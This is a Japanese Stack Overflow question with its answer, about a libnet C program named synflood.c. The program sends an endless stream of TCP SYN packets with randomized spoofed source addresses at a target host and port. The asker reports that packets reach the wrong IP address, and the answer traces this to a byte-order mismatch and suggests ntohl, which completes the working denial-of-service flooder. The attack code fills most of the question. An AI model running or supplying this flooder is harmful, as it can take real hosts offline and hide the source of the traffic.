

[libnetで作成したデータについて](https://ja.stackoverflow.com/q/67144/19110)
で回答をいただいた後、試してみた結果、ipアドレスがうまく通っていないようです。（異なるipアドレスで実行し、tcpdumpでかくにんした所、どちらのipアドレスも、「76.137.233.137」が宛先となってしまいます。）  
この「76.137.233.137」というアドレスは、一体何でしょうか？  
また、以下のコードを付け加えた結果、以下のようになりました。「402000a」は、「10.0.2.4」のネットワークアドレスで問題ないでしょうか？

[code]

    sudo ./synflood 10.0.2.4 7890
    argv[1]: 10.0.2.4
    argv[2]: -2005821230
    dest_ip: 402000a
    dest_port: 7890
    SYN Flooding port 7890 of 10.0.2.4..
    
[/code]

synflood.c

[code]

    #include <string.h>
    #include <netinet/in.h>
    #include <libnet.h>
    #include <arpa/inet.h>
    
    #define FLOOD_DELAY 5000        //パケット注入の遅延時間は5000msである。
    
    
    /* x.x.x.x形式のIPを返す*/
    char *print_ip(uint32_t *ip_addr_ptr){
            return inet_ntoa(*((struct in_addr *)ip_addr_ptr));
    }
    
    int main(int argc,char *argv[]){
            uint32_t dest_ip,source;
            uint16_t dest_port;
            u_char errbuf[LIBNET_ERRBUF_SIZE], *pcap_errbuf, *packet;
            int network, byte_count, packet_size = LIBNET_IPV4_H + LIBNET_TCP_H;
            libnet_t *l;
    
    
            if(argc<3){
                    printf("使用方法:\n%s\t ＜対象ホスト＞＜対象ポート＞\n",argv[0]);
                    exit(1);
            }
    
            //printf("device name: %s\n",alldevsp->name);
            l = libnet_init(LIBNET_RAW4,"eth0",errbuf);             //パケット酔うのメモリを割り当てる
            if(l == NULL){
                    fprintf(stderr,"Error opening context: %s\n",errbuf);
                    exit(1);
            }
    
            **printf("argv[1]: %s\n",argv[1]);
            printf("argv[2]: %d\n",argv[2]);**
    
            dest_ip = libnet_name2addr4(l,argv[1],LIBNET_DONT_RESOLVE);     //host
            dest_port = (u_short)atoi(argv[2]);                     //ポート
    
            **printf("dest_ip: %x\n",dest_ip);
            printf("dest_port: %d\n",dest_port);**
    
            if(libnet_seed_prand(l) == -1)                                  //乱数生成器に種を与える
                    printf("Error libnet_seed_prand: %s\n",libnet_geterror(l));
    
    
            printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));
    
            libnet_ptag_t tag_ipv4 = 0;                             //libnet protocol block
            libnet_ptag_t tag_tcp = 0;                              //libnet protocol block
    
            while(1){                                               //永久ループ（CTRL-Cで終了されるまで）
                    if(tag_tcp = libnet_build_tcp(libnet_get_prand(LIBNET_PRu16),  //送信元TCPポート（乱数化）
                            dest_port,                              //宛先TCPポート
                            libnet_get_prand(LIBNET_PRu32),         //シーケンス番号（乱数化）
                            libnet_get_prand(LIBNET_PRu32),         //確認応答（ACK)番号（乱数化）
                            TH_SYN,                                 //コントロールフラグ(SYNフラグのみ設定）
                            libnet_get_prand(LIBNET_PRu16),         //ウィンドウサイズ（乱数化）
                            0,                                      //checksum 0=autofill
                            0,                                      //至急ポインタ
                            LIBNET_TCP_H,                           //header length
                            NULL,                                   //ペイロード（なし）
                            0,                                      //ペイロード長
                            l,                                      //libnet context
                            0) == -1)                               //protocol tag
                            printf("Error building TCP header; %s\n",libnet_geterror(l));
    
                    if(tag_ipv4 = libnet_build_ipv4(packet_size,            //IPヘッダを除いたパケットサイズ
                            IPTOS_LOWDELAY,                         //IP　tos
                            libnet_get_prand(LIBNET_PRu16),         //IP ID(乱数化)
                            0,                                      //断片化
                            libnet_get_prand(LIBNET_PR8),           //TTL（乱数化）
                            IPPROTO_TCP,                            //トランスポートプロトコル
                            0,                                      //checksum 0=autofill
                            libnet_get_prand(LIBNET_PRu32),         //送信元IP（乱数化)
                            dest_ip,                                //宛先IP(little endian)
                            NULL,                                   //ペイロード（なし）
                            0,                                      //ペイロード長
                            l,                                      //libnet context
                            0) == -1)                               //protocol tag
                            printf("Error building IP header; %s\n",libnet_geterror(l));
    
    
    
                    if(libnet_write_raw_ipv4(l,packet,40) == -1){
                            printf("@Erro libnet_write: %s\n",libnet_geterror(l));
                            exit(1);
                    }
    
    
                    usleep(FLOOD_DELAY);                            //FLOOD_DEPLAYミリ秒待機する
            }
    
            libnet_destroy(l);                              //パケットメモリを開放する
    
    
            return 0;
    }
    
[/code]


CC BY-SA 4.0
2020-05-31T03:13:15.230
67153
2020-06-01T12:43:07.327
2020-06-01T12:43:07.327
19110
28416
question
c
libnetのipアドレスについて


`libnet_name2addr4`関数が返却する値(IPv4アドレス)は「ネットワークオーダ」、`libnet_build_ipv4`関数の引数で要求されるIPv4アドレスは「little
endian」とのことなので、バイトオーダが逆転しているように見受けます。

＃デバッグ出力は「a000204」にならないといけないようです。

そのため意図しないIPアドレスにパケットを送信しているように見えます。

### `libnet_name2addr4`関数の説明。(ヘッダファイルより抜粋)

`@return`の説明に「ネットワークオーダ」と記載あり。

[code]

    /**
     * Takes a dotted decimal string or a canonical DNS name and returns a 
     * network byte ordered IPv4 address. This may incur a DNS lookup if mode is
     * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode
     * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can
     * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and
     * host_name refers to a canonical DNS name.
     * @param l pointer to a libnet context
     * @param host_name pointer to a string containing a presentation format host
     * name
     * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE
     * @return address in network byte order
     * @retval -1 (2^32 - 1) on error 
     */
    LIBNET_API
    uint32_t
    libnet_name2addr4(libnet_t *l, const char *host_name, uint8_t use_name);
    
[/code]

### `libnet_build_ipv4`関数の説明。(ヘッダファイルより抜粋)

`@param dst`に「little endian」と記載あり。

[code]

    /**
     * Builds a version 4 RFC 791 Internet Protocol (IP) header.
     *
     * @param ip_len total length of the IP packet including all subsequent data (subsequent
     *   data includes any IP options and IP options padding)
     * @param tos type of service bits
     * @param id IP identification number
     * @param frag fragmentation bits and offset
     * @param ttl time to live in the network
     * @param prot upper layer protocol
     * @param sum checksum (0 for libnet to auto-fill)
     * @param src source IPv4 address (little endian)
     * @param dst destination IPv4 address (little endian)
     * @param payload optional payload or NULL
     * @param payload_s payload length or 0
     * @param l pointer to a libnet context
     * @param ptag protocol tag to modify an existing header, 0 to build a new one
     * @return protocol tag value on success
     * @retval -1 on error
     */
    LIBNET_API
    libnet_ptag_t 
    libnet_build_ipv4(uint16_t ip_len, uint8_t tos, uint16_t id, uint16_t frag,
    uint8_t ttl, uint8_t prot, uint16_t sum, uint32_t src, uint32_t dst,
    const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
    
[/code]

＊

ですので、`libnet_name2addr4`関数の返り値を「little endian」に変換すればよいと思います。  
変換方法はいろいろあると思いますが、代表的なのは「[`ntohl`](https://linuxjm.osdn.jp/html/LDP_man-
pages/man3/byteorder.3.html)」と思います。

[code]

    /* 使用例 */
    dst = ntohl(dst);
    
[/code]

＃Kali Linux環境ということで、ホストオーダがLittle endianと想定しています。


CC BY-SA 4.0
2020-05-31T06:20:23.610
67158
2020-05-31T06:20:23.610
20098
67153
answer